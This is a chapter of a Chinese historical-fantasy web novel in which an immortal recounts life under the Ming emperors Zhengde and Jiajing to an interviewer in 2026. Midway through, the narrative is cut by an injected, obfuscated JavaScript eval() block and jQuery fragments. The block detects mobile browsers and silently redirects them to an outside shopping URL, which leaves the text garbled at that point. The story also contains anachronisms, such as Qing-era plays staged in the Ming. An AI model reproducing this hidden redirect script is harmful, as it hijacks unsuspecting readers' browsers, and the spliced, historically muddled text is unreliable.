2026年5月9日下午杭州南山路老宅


    这是一栋民国时期的二层小楼，藏在南山路的梧桐树荫里。


    外墙的灰泥有些剥落，露出里面的青砖。木门是老的，门环是铜的，已经生了绿锈。


    林晚声按门铃，里面传来脚步声。门开了，赵夜明站在门内。他今天穿了件米色的亚麻衬衫，脸色比上次见时苍白了些，眼下有淡淡的阴影。


    “请进。”他侧身。


    院子不大，十几平米，铺着青石板，墙角种着几丛竹。正屋是客厅，布置得很简单，一套老旧的沙发，一张茶几，靠墙的书架摆满了书。


    最引人注目的是墙上的画，一幅是明代的《西湖烟雨图》，一幅是民国的月份牌美女，还有一幅是现代的抽象画，风格迥异，但挂在一起却不显突兀。


    “坐。”赵夜明泡茶，“这是我自己存的普洱，三十年了。”


    茶汤红亮，香气醇厚。林晚声注意到，赵夜明泡茶的手很稳，但递茶杯时，手指微微发颤，很轻微，但她看见了。


    “您身体不舒服？”她问。


    “老了。”赵夜明笑了笑，笑容有些疲惫，“上次访谈后，睡了两天才缓过来。年纪大了，熬夜伤身。”


    林晚声心中一紧。这是赵夜明第一次用“老了”形容自己。她仔细看他，发现确实有些变化，银发似乎更白了些，不是那种有光泽的银白，是干枯的、没有生气的白。眼角的细纹更深了，手背的皮肤也松弛了些。


    “我们今天聊什么？”她打开录音笔。


    窗外，梧桐叶在风中沙沙作响。


    明正德九年（1514年）南京秦淮河畔


    夜，秦淮河的画舫亮着灯，丝竹声，嬉笑声，混着脂粉香，在河面上飘荡。赵承影，那时他叫赵砚，砚台的砚，站在文德桥上，看着河中的倒影。


    他。在南京住了三十年，开了家书局，印些闲书杂剧。


    生意不错，因为正德皇帝爱玩，朝政荒废，江南的文人士子没了仕途指望，就纵情声色，吟诗作赋，看戏听曲。他的书局专印这些，卖得很好。


    桥那头传来喧哗声。一队人马过来，灯笼上写着“宁王府”。是宁王朱宸濠的人。这位王爷在江西蓄谋造反，南京城里人人皆知，但没人敢说。


    皇帝都不管，谁管？


    赵承影退到一边，让队伍过去。队伍中间有个文士，被绑着，嘴里塞着布，是南京御史范辂。范辂弹劾宁王谋反，被宁王派人抓了，要押回江西“问罪”。


    队伍过去后，桥边茶馆里有人低声议论，


    “范御史完了...宁王这是要杀鸡儆猴。”


    “朝廷也不管管？就这么看着？”


    “管？皇上在豹房玩豹子呢，哪有空管这个。”


    赵承影听着，心里发冷。他想起了靖康年间的张邦昌，想起了那些卖国求荣的好臣。


    历史总是重复，只是换了个名字，换了个方式。


    他转身回书局。书局还亮着灯，伙计在整理书稿。见他回来，伙计迎上来，“东家，李梦阳先生来了，在楼上等您。”


    李梦阳是当世大儒，提倡“文必秦汉，诗必盛唐”，在文坛很有影响力。赵承影和他相识多年，常在一起讨论诗文。


    上楼，李梦阳正在看书稿，见他进来，起身道，“赵兄，你可回来了。看看这个，”


    他递过一叠手稿。


    赵承影接过，是王磐的《朝天子·咏喇叭》。


    这首散曲讽刺宦官当道，用词辛辣，


    “喇叭，锁哪，曲儿小，腔儿大。官船来往乱如麻，全仗你抬声价。军听了军愁，民听了民怕，哪里去辨甚么真共假？眼见的吹翻了这家，吹伤了那家，只吹的水尽鹅飞罢！”


    “写得好。”赵承影说，“但印不得。


    刘瑾虽然倒了，但宦官势力还在。印了，要杀头。”


    “我知道。”李梦阳叹气，“所以只给你看看。赵兄，这世道...文人的笔，越来越重，越来越难提了。”


    两人坐下喝茶。


    李梦阳说，他准备辞官回乡，专心著述。朝中乌烟瘴气，正德皇帝不理朝政，宦官专权，藩王谋反，再待下去，不是同流合污，就是被排挤陷害。


    “你呢？还准备在南京待下去？”李梦阳问。


    “不知道。”赵承影摇头，“天下之大，似乎无处可去。北方蒙古扰边，南方倭寇为患，中原天灾不断。只有江南还算安稳，虽然腐败，但至少...还能活着。”


    “活着..”李梦阳苦笑，“是啊，活着。可这样活着，有什么意思？看着国事日非，看着百姓受苦，自己什么也做不了。有时候我真羡慕你，赵兄，你总能看开，总能找到活着的乐趣。”


    赵承影没说话。他没法说，他看不开，他只是活得太久，麻木了。就像看一场很长的戏，看多了，就知道剧情都是套路，好人没好报，坏人常得意。看开了，就出戏了，就当看热闹了。


    可夜深人静时，他还是会想起汴京，想起那些为守城而死的人。他们会怎么看他现在这样？苟活于世，明哲保身，印些风月闲书，赚些昧心钱？


    “我准备印套《金瓶梅》。”他忽然说。


    李梦阳一愣，“那可是禁书..”


    “禁书才有人买。”赵承影说，“而且，我想通了。既然改变不了世道，就记录世道。《金瓶梅》写的是市井，是人性，是这腐烂时代的真实写照。百年后，人们看这本书，就知道正德年间是什么样的。”


    “你不怕..”


    “怕什么？”赵承影笑了，“我都好几百岁了，还怕杀头？而且，我印得隐蔽，只在文人圈子里流传，不张扬。就当...给这时代，留个底稿。”


    李梦阳看着他，看了很久，举杯，“赵兄，我敬你。敬你这份...清醒的糊涂。”


    两人碰杯。茶很苦，像这时代。


    “《金瓶梅》我印了五百套。”赵夜明说，“一套卖十两银子，很快卖光了。买的大多是官员、富商，表面道貌岸然，私下看得津津有味。有趣吧？越是禁的东西，越有人想要。人性如此，千年不变。”


    林晚声记录着，“您不怕被查？”


    “怕，但值得。正德十六年，皇帝死了，死在豹房。没有子嗣，堂弟朱厚熜继位，就是嘉靖。我以为新皇登基，会有新气象。结果...更糟。”


    明嘉靖二十一年（1542年）北京西苑


    雪，下得很大。


    赵承影站在西苑外，看着里面灯火通明。嘉靖皇帝在里面炼丹修道，已经二十年不上朝了。


    严嵩父子把持朝政，卖官鬻爵，边关战事吃紧，国库空虚，但皇帝不在乎，他在乎的是能不能成仙。


    赵承影来北京三年了。


    南京待不下去，因为宁王造反被平定后，朝廷清算，牵连甚广。


    他的书局被查，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318690|198636||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    掌柜被抓，他连夜逃出南京，北上京师。


    在北京，他换了身份，叫赵玄，玄妙的玄。在琉璃厂开了家古玩店，卖些字画瓷器。生意清淡，但够糊口。更重要的是，北京是政治中心，能看见这王朝最核心的腐烂。


    “赵老板，看什么呢？”旁边一个摆摊的老头问。


    “看西苑。”赵承影说。


    “别看了，看了生气。”老头摇头，“皇上在里面炼丹呢，听说要用童女的血做药引，造孽啊..”


    赵承影心中一凛。用童女血炼丹...这让他想起靖康年间的国师，想起那些被血裔残害的人。历史总是惊人地相似，只是这次，作恶的是皇帝本人。


    “没人劝？”


    “劝？”老头苦笑，“劝的人都死了。杨最，杨爵，都被打死了。海瑞还在南京当小官，不敢说话。这世道...完了。”


    雪越下越大。赵承影转身离开，走到宣武门外，看见一群人围在那里。挤进去一看，是个年轻女子，被绑在木桩上，浑身是伤，已经奄奄一息。布告上写着，“妖女李氏，以邪术蛊惑圣上，罪当凌迟。”


    赵承影认得这女子。叫李芍药，是个宫女，去年被选入西苑伺候皇帝。听说皇帝要取她的血炼丹，她反抗，被打成这样。


    “让开！让开！”一队锦衣卫过来，驱散人群，准备行刑。


    赵承影握紧拳头。他想救她，但能怎么救？冲上去？杀了锦衣卫？然后呢？被全城通缉，又要逃亡。


    就在他犹豫时，女子抬起头，看了他一眼。眼神很平静，没有恐惧，没有怨恨，只有一种...解脱。


    然后她笑了，用尽最后的力气，喊出一句话，


    “皇上，你成不了仙！你只会下地狱！”


    刽子手一刀挥下。人头落地，血喷出，在雪地上绽开一朵凄艳的花。


    人群寂静，然后爆发出压抑的哭声。锦衣卫厉声喝止，但哭声不止，像这雪夜里的哀歌。


    赵承影转身离开，走得很急，像在逃。走到住处，关上门，靠在门上，剧烈喘息。他眼前还是那颗人头，还是那个笑容，还是那句话。


    “你只会下地狱..”


    他忽然笑了，笑出眼泪。


    是啊，地狱。这人间就是地狱。


    皇帝是阎王，官员是鬼差，百姓是受刑的鬼。


    而他，是个看了四百年的老鬼，看腻了，看吐了，但还是得看。


    那晚，他喝了三斤酒，醉得不省人事。


    第二天醒来，头痛欲裂，但做了一个决定，离开北京，离开这个腐烂的朝廷，去一个眼不见为净的地方。


    他去了江南，在苏州住了下来。


    一住就是四十年，从嘉靖到隆庆，到万历。


    看着皇帝换了一个又一个，朝政烂了一茬又一茬，但江南，还是那个江南，富庶，繁华，醉生梦死。


    他在苏州开了家戏园，叫“兰雪堂”，专演昆曲。


    《牡丹亭》《长生殿》《桃花扇》，一场接一场。来看戏的都是文人雅士，富商巨贾。


    他们为戏里的爱情流泪，为戏里的忠义感动，但出了戏园，该贪的贪，该贿的贿，该醉生梦死的醉生梦死。


    赵承影不怪他们。因为他也一样。看戏时感动，出了戏园就麻木。活得越久，越明白一个道理，人都是戏子，都在演戏。区别只是有人演得好，有人演得差；有人知道自己演戏，有人入戏太深。